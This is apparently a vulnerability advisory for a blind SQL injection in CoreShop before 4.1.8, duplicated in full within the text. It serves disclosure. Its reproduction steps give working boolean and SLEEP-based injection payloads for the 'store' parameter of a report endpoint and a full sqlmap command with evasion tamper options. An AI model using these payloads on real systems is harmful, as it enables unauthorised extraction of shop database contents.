CVE-2026-22242

CoreShop is a Pimcore enhanced eCommerce solution. Prior to version 4.1.8, a blind SQL injection vulnerability exists in the application that allows an authenticated administrator-level user to extract database contents using boolean-based or time-based techniques. The database account used by the application is read-only and non-DBA, limiting impact to confidential data disclosure only. No data modification or service disruption is possible. This issue has been patched in version 4.1.8.

CoreShop is a Pimcore enhanced eCommerce solution. Prior to version 4.1.8, a blind SQL injection vulnerability exists in the application that allows an authenticated administrator-level user to extract database contents using boolean-based or time-based techniques. The database account used by the application is read-only and non-DBA, limiting impact to confidential data disclosure only. No data modification or service disruption is possible. This issue has been patched in version 4.1.8.

Affected Version(s)

• CoreShop 4.1.2 Demo (tested) Demo | CoreShop
• Earlier versions may also be affected if the same code path exists

Summary

A blind SQL injection vulnerability exists in the application that allows an authenticated administrator-level user to extract database contents using boolean-based or time-based techniques. The database account used by the application is read-only and non-DBA, limiting impact to confidential data disclosure only. No data modification or service disruption is possible.

Details

The vulnerability occurs due to unsanitized user input being concatenated into a SQL query without proper parameterization.

An attacker with administrative access can manipulate the affected parameter to influence the backend SQL query logic. Although no direct query output is returned, boolean and time-based inference techniques allow an attacker to extract data from the database.

Impact

Vulnerability Type: Blind SQL Injection

Impact: Confidentiality only

An attacker can:

• Enumerate database schema
• Extract all data accessible to the application’s database user

CVSS v3.1 (Base Score: 4.9 – Medium)

CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:N/A:N

Steps to Reproduce:

<img width="1010" height="372" alt="1" src="https://github.com/user-attachments/assets/312422c8-f3ea-4332-8c14-59aed737da6a" />

1. Send a Normal Request:
   • Request the report endpoint with a valid store value (e.g. store=1) and observe that data is returned.

<img width="1259" height="725" alt="2" src="https://github.com/user-attachments/assets/56f91c23-bae5-4edf-9c17-c776c323b3a8" />

2. Inject a Boolean TRUE Condition:
   • Modify the parameter to store=1 AND 1=1.
   • The response returns the same data as the normal request.

<img width="1269" height="725" alt="3" src="https://github.com/user-attachments/assets/c998065a-dc59-4fe5-8be9-d5ea82736ade" />

3. Inject a Boolean FALSE Condition:
   • Modify the parameter to store=1 AND 2=1.
   • The response returns an empty dataset.

<img width="1259" height="536" alt="4" src="https://github.com/user-attachments/assets/3be68566-f1f3-4a61-81d7-4f8b0b318bf7" />

4. Confirm Injection Behavior:

   • The difference between TRUE and FALSE conditions confirms that the store parameter directly affects SQL query logic, indicating a boolean-based blind SQL injection.

5. Automated Confirmation Using sqlmap:

   • The vulnerable request was tested using sqlmap with the store parameter.
   • sqlmap successfully confirmed the parameter as boolean-based and time-based blind SQL injectable.
   • The tool was able to fingerprint the backend environment, including:
     • Database Management System (DBMS)
     • Database hostname
     • PHP version
     • Available database names
   • This confirms that the injection is exploitable beyond simple logic manipulation and allows database-level information disclosure.

<img width="1115" height="628" alt="5" src="https://github.com/user-attachments/assets/5370f6d1-9915-4bea-ae83-b7a977b8eeff" />

C:\sqlmap>python sqlmap.py -r test.txt --random-agent --batch --force-ssl --ignore-code=403,404 --no-cast --tamper=between,randomcase,space2comment --proxy http://127.0.0.1:8080 -p store
---
Parameter: store (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: report=products&_dc=1767718087622&from=1767200400&to=1798650000&store=1 AND 3500=3500&objectType=all&orderState=[]&page=1&start=0&limit=50

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: report=products&_dc=1767718087622&from=1767200400&to=1798650000&store=1 AND (SELECT 6265 FROM (SELECT(SLEEP(5)))KORX)&objectType=all&orderState=[]&page=1&start=0&limit=50
---
web application technology: PHP 8.3.16
back-end…

CoreShop is a Pimcore enhanced eCommerce solution. Prior to version 4.1.8, a blind SQL injection vulnerability exists in the application that allows an authenticated administrator-level user to extract database contents using boolean-based or time-based techniques. The database account used by the application is read-only and non-DBA, limiting impact to confidential data disclosure only. No data modification or service disruption is possible. This issue has been patched in version 4.1.8.

CoreShop is a Pimcore enhanced eCommerce solution. Prior to version 4.1.8, a blind SQL injection vulnerability exists in the application that allows an authenticated administrator-level user to extract database contents using boolean-based or time-based techniques. The database account used by the application is read-only and non-DBA, limiting impact to confidential data disclosure only. No data modification or service disruption is possible. This issue has been patched in version 4.1.8.

Affected Version(s)

• CoreShop 4.1.2 Demo (tested) Demo | CoreShop
• Earlier versions may also be affected if the same code path exists

Summary

A blind SQL injection vulnerability exists in the application that allows an authenticated administrator-level user to extract database contents using boolean-based or time-based techniques. The database account used by the application is read-only and non-DBA, limiting impact to confidential data disclosure only. No data modification or service disruption is possible.

Details

The vulnerability occurs due to unsanitized user input being concatenated into a SQL query without proper parameterization.

An attacker with administrative access can manipulate the affected parameter to influence the backend SQL query logic. Although no direct query output is returned, boolean and time-based inference techniques allow an attacker to extract data from the database.

Impact

Vulnerability Type: Blind SQL Injection

Impact: Confidentiality only

An attacker can:

• Enumerate database schema
• Extract all data accessible to the application’s database user

CVSS v3.1 (Base Score: 4.9 – Medium)

CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:N/A:N

Steps to Reproduce:

<img width="1010" height="372" alt="1" src="https://github.com/user-attachments/assets/312422c8-f3ea-4332-8c14-59aed737da6a" />

1. Send a Normal Request:
   • Request the report endpoint with a valid store value (e.g. store=1) and observe that data is returned.

<img width="1259" height="725" alt="2" src="https://github.com/user-attachments/assets/56f91c23-bae5-4edf-9c17-c776c323b3a8" />

2. Inject a Boolean TRUE Condition:
   • Modify the parameter to store=1 AND 1=1.
   • The response returns the same data as the normal request.

<img width="1269" height="725" alt="3" src="https://github.com/user-attachments/assets/c998065a-dc59-4fe5-8be9-d5ea82736ade" />

3. Inject a Boolean FALSE Condition:
   • Modify the parameter to store=1 AND 2=1.
   • The response returns an empty dataset.

<img width="1259" height="536" alt="4" src="https://github.com/user-attachments/assets/3be68566-f1f3-4a61-81d7-4f8b0b318bf7" />

4. Confirm Injection Behavior:

   • The difference between TRUE and FALSE conditions confirms that the store parameter directly affects SQL query logic, indicating a boolean-based blind SQL injection.

5. Automated Confirmation Using sqlmap:

   • The vulnerable request was tested using sqlmap with the store parameter.
   • sqlmap successfully confirmed the parameter as boolean-based and time-based blind SQL injectable.
   • The tool was able to fingerprint the backend environment, including:
     • Database Management System (DBMS)
     • Database hostname
     • PHP version
     • Available database names
   • This confirms that the injection is exploitable beyond simple logic manipulation and allows database-level information disclosure.

<img width="1115" height="628" alt="5" src="https://github.com/user-attachments/assets/5370f6d1-9915-4bea-ae83-b7a977b8eeff" />

C:\sqlmap>python sqlmap.py -r test.txt --random-agent --batch --force-ssl --ignore-code=403,404 --no-cast --tamper=between,randomcase,space2comment --proxy http://127.0.0.1:8080 -p store
---
Parameter: store (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: report=products&_dc=1767718087622&from=1767200400&to=1798650000&store=1 AND 3500=3500&objectType=all&orderState=[]&page=1&start=0&limit=50

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: report=products&_dc=1767718087622&from=1767200400&to=1798650000&store=1 AND (SELECT 6265 FROM (SELECT(SLEEP(5)))KORX)&objectType=all&orderState=[]&page=1&start=0&limit=50
---
web application technology: PHP 8.3.16
back-end…